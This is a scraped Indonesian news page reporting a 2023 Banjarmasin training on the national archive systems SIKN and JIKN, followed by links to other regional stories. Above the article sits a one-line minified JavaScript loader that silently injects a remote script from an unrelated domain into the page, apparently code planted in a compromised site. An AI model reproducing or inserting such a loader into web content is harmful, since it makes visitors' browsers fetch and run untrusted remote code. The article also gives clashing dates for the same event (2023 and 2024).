(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) menggelar bimbingan teknis Sistem Informasi Kearsipan Nasional (SIKN) dan Jaringan Informasi Kearsipan Nasional (JIKN) di Banjarmasin, Selasa (24/10/2023).
Bimtek diikuti 73 orang yang berasal dari 13 lembaga kearsipan daerah kabupaten/kota di Kalsel dan dibimbing dua narasumber dari Arsip Nasional Republik Indonesia (ANRI).
“Terdiri dari admin, verifikator, kontributor, serta penanggungjawab aplikasi SIKN-JIKN 13 lembaga kearsipan daerah kabupaten atau kota di Provinsi Kalimantan Selatan,” ungkap Kadispersip Kalsel Dra Nurlianie Dardie usai membuka kegiatan, Selasa (24/10/2024) siang.
Baca juga: Perbaikan Pipa Bocor di Jalan Pramuka, Berikut Wilayah Terdampak Seret Air 12 Jam
Kadispersip Kalsel mengatakan, pihaknya sebagai Lembaga Kearsipan Daerah (LKD) bertanggung jawab dalam pengelolaan arsip statis atau menyelamatkan arsip-arsip yang bernilai guna kesejarahan melalui sistem SIKN dan JIKN.
Menurutnya, SIKN dan JIKN akan memberikan rupa nyata pada visi penyelenggaraan kearsipan nasional yang menjadikan arsip sebagai simpul pemersatu bangsa.
“Dengan menyediakan akses yang luas dan mudah terhadap arsip dinamis dan statis SIKN dan JIKN dengan sendirinya mendukung upaya penegakanhHak warga negara untuk memperoleh informasi,” ujarnya.
Baca juga: Gubernur Kalsel Terima Penghargaan Proklim 2023 dari Menteri LHK
Sementara itu, Ketua Tim Pengembangan Layanan Konten SIKN dan JIKN Arsip Nasional RI Agung Gede Sumardika mengatakan, SIKN dan JIKN merupakan sistem kearsipan yang berada dibawah kendali Arsip Nasional RI (ANRI).
Dijelakan, arsip yang telah di proses digatilsasi dapat di input oleh Lembaga Kearsipan Daerah melalui aplikasi SIKN, kemudian masyarakat dapat mengaksesnya melalui JIKN yang dikelola Arsip Nasional.
“Ini untuk hak asasi masyarakat sebenarnya, masyarakat bisa mudah mengaksesnya,”pungkasnya.(Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, JAKARTA - Direktur Eksekutif Prakarsa, Ah Maftuchan, mengatakan pemerintah seharusnya bisa lebih terbuka dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semarak warna dan semangat cinta Tanah Air dalam peringatan Hari Lahir Pancasila… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan pelajar, anggota TNI, Polri, dan pegawai di lingkungan Pemerintah Kota (Pemko)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Mewakili bupati Banjar, Kepala Badan Kesatuan Bangsa dan Politik (Kesbangpol) Kabupaten Banjar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satuan Tugas (Satgas) TNI Manunggal Membangun Desa (Satgas TMMD) ke-120 Kodim 1001/HSU-Balangan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Komandan Distrik Militer (Dandim) 1006 Letkol Kav Zulkifer Sembiring bertindak sebagai Inspektur… Read More
This website uses cookies.